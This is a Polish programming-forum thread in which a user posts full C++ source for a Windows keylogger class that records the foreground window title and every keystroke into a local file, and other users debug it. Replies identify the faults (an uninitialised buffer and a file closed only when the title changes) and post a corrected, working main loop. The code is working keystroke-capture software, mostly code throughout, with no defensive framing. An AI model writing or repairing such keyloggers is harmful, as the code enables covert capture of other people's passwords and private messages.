Przechwytywanie tytułu okna, nasłuchiwanie klawiszy

0

Witam napisałem sobie klasę, która ma za zadanie pobieranie tytułu aktywnego okna oraz nasłuchiwanie klawiszy. Niestety program po przechwyceniu kliku tytułów przestaje odbierać dane.
Struktura klasy:

 
#ifndef _QUEKEYLOGGER_H_
#define _QUEKEYLOGGER_H_

#include <Windows.h>

class QueKeyLogger {
	public:
		void getWindowTitle();
		void getKeyState();
	private:
		void parseFile();
		int strcmp(char *str1, char *str2);
		HWND hWindow;
		char cTemp[255];
};

#endif

Implementacja:

 
#include "QueKeyLogger.h"
#include <Windows.h>
#include <stdio.h>
#include <iostream>


int QueKeyLogger::strcmp(char *str1, char *str2) {
	while(*str1 == *str2) { 
		if((*str1) != '\0') {
			str1++;
			str2++;
		} else {
			return 1;
		}
	}
	return 0;
}

void QueKeyLogger::getWindowTitle() {
	FILE *file;
	
	if(file = fopen("QueKeyLogger.dat", "a+")) {
		char cWindowTitle[255];

		hWindow = GetForegroundWindow();
		GetWindowText(hWindow, cWindowTitle, 255);		

		if(!strcmp(cWindowTitle, cTemp)) {
			fputs("\n", file);
			fputs(cWindowTitle, file);
			fputs("\n", file);
			fclose(file);
			std::cout << cWindowTitle << "\n";
		}
		strncpy(cTemp, cWindowTitle, 255);
	}
}

void QueKeyLogger::getKeyState() {
	short ch;

	for(ch = 8; ch < 222; ch++) {
		if(GetAsyncKeyState(ch) == -32767) {
			FILE *file;
			
			if(file = fopen("QueKeyLogger.dat", "a+")) {
				if((ch >= 39) && (ch <= 64)) {
					fputc(ch, file);
					fclose(file);
				} else if((ch > 64) && (ch < 91)) {
					ch += 32;
					fputc(ch, file);
					fclose(file);
				} else {
					switch(ch) {
						case VK_SPACE:
							fputc(' ',file);
							fclose(file);
							break;
						case VK_SHIFT:
							fputs("[SHIFT]",file);
							fclose(file);
							break;
					    case VK_RETURN:
							fputs("\n",file);
							fclose(file);
							break;
						case VK_BACK:
							fputs("[BACKSPACE]",file);
							fclose(file);
							break;
						case VK_TAB:
							fputs("[TAB]",file);
							fclose(file);
							break;
						case VK_CONTROL:
							fputs("[ALT\\CTRL]",file);
							fclose(file);
							break;
						case VK_DELETE:
							fputs("[DEL]",file);
							fclose(file);
							break;
						case VK_OEM_1:
							fputs("[;:]",file);
							fclose(file);
							break;
						case VK_OEM_2:
							fputs("[/?]",file);
							fclose(file);
							break;
						case VK_OEM_3:
							fputs("[`~]",file);
							fclose(file);
							break;
						case VK_OEM_4:
							fputs("[ [{ ]",file);
							fclose(file);
							break;
						case VK_OEM_5:
							fputs("[\\|]",file);
							fclose(file);
							break;
						case VK_OEM_6:
							fputs("[ ]} ]",file);
							fclose(file);
							break;
						case VK_OEM_7:
							fputs("['\"]",file);
							fclose(file);
							break;
						case VK_NUMPAD0:
							fputc('0',file);
							fclose(file);
							break;
						case VK_NUMPAD1:
							fputc('1',file);
							fclose(file);
							break;
						case VK_NUMPAD2:
							fputc('2',file);
							fclose(file);
							break;
						case VK_NUMPAD3:
							fputc('3',file);
							fclose(file);
							break;
						case VK_NUMPAD4:
							fputc('4',file);
							fclose(file);
							break;
						case VK_NUMPAD5:
							fputc('5',file);
							fclose(file);
							break;
						case VK_NUMPAD6:
							fputc('6',file);
							fclose(file);
							break;
						case VK_NUMPAD7:
							fputc('7',file);
							fclose(file);
							break;
						case VK_NUMPAD8:
							fputc('8',file);
							fclose(file);
							break;
						case VK_NUMPAD9:
							fputc('9',file);
							fclose(file);
							break;
						case VK_CAPITAL:
							fputs("[CAPS LOCK]",file);
							fclose(file);
							break;
						default:
							fclose(file);
							break;
					}
				}
			}
		}
	}
}

void QueKeyLogger::parseFile() {

}

Program wykonywalny:

 
#include <Windows.h>
#include "QueKeyLogger.h"
#include <iostream>

int main() {
	HWND hWindow;
	AllocConsole();
	hWindow = FindWindowA("ConsoleWindowClass", NULL);
	ShowWindow(hWindow, 1);

	QueKeyLogger oQKL;
	while(1) {
		Sleep(10);

		oQKL.getWindowTitle();
		oQKL.getKeyState();
	}

	return 0;
}
0

Zauważyłem, że program wysypuje się przy porównywaniu tablic char:

bool QueKeyLogger::strcmp(char *str1, char *str2) {
	while(*str1 == *str2) { 
		if(*str1 != '\0') {
			str1++;
			str2++;
		} else {
			return 1;
		}
	}
	return 0;
}

pętla wykonuje się ok 520 razy po czym program się zawiesza. :/

0

Spróbuj użyć standardowej funkcji strcmp zamiast swojej implementacji, żeby sprawdzić czy to tu jest wina. Poza tym w metodzie QueKeyLogger::getWindowTitle() w linii
f(!strcmp(cWindowTitle, cTemp))

porównujesz tytuł okna z niezainicjowanym cTemp. Może tu leży problem?

0

Zmieniłem main, ale problem dalej się pojawia:

 
int main() {
	HWND hWindow;
	AllocConsole();
	hWindow = FindWindowA("ConsoleWindowClass", NULL);
	ShowWindow(hWindow, 1);

	QueKeyLogger oQKL;
	char cTemp[255] = "none";
	while(1) {
		//oQKL.getWindowTitle();
		FILE *file;
		if(file = fopen("QueKeyLogger.dat", "a+")) {
			char cWindowTitle[255];

			hWindow = GetForegroundWindow();
			GetWindowText(hWindow, cWindowTitle, 255);		
		 
			if(strcmp(cWindowTitle, cTemp) != 0) {
				fputs("\n", file);
				fputs(cWindowTitle, file);
				fputs("\n", file);
				fclose(file);
				std::cout << cWindowTitle << "\n";
			}
			strncpy(cTemp, cWindowTitle, 255);
		}
		oQKL.getKeyState();

		Sleep(10);
	}
1

Sprawdziłem pod VS2010 Express. Zauważyłem, że po jakims czasie nie dało się otworzyc pliku. Zmienilem kod jak poniżej i zaczęło działać. Zmiany to:

  1. sprawdzenie, czy fopen sie powiodło - != 0
  2. przeniesienie fclose() na koniec ifa, aby plki był zamykany gdy został otwarty, a nie tylko wtedy, gdy tytuł okna się zmienił:

int _tmain(int argc, _TCHAR* argv[])
{
HWND hWindow;
AllocConsole();
hWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(hWindow, 1);

    QueKeyLogger oQKL;
    char cTemp[255] = "none";
    while(1)
	{
            //oQKL.getWindowTitle();
            FILE *file;
            if((file = fopen("QueKeyLogger.dat", "a+")) != 0)
	{
                    char cWindowTitle[255];

                    hWindow = GetForegroundWindow();
                    GetWindowTextA(hWindow, cWindowTitle, 255);                

                    if(strcmp(cWindowTitle, cTemp) != 0)
					{
                            fputs("\n", file);
                            fputs(cWindowTitle, file);
                            fputs("\n", file);
                            
                            std::cout << cWindowTitle << "\n";
                    }
                    strncpy(cTemp, cWindowTitle, 255);
		fclose(file);
            }
            oQKL.getKeyState();

            Sleep(10);
    }
return 0;
0

I jeszcze uwaga: nie wiem po co wywołujesz AllocConsole(), FindWindowA() i ShowWindow(). Twoja aplikacja jest aplikacją konsolową i nie musisz wywoływać tych funkcji, aby otworzyć okno konsoli.

1 użytkowników online, w tym zalogowanych: 0, gości: 1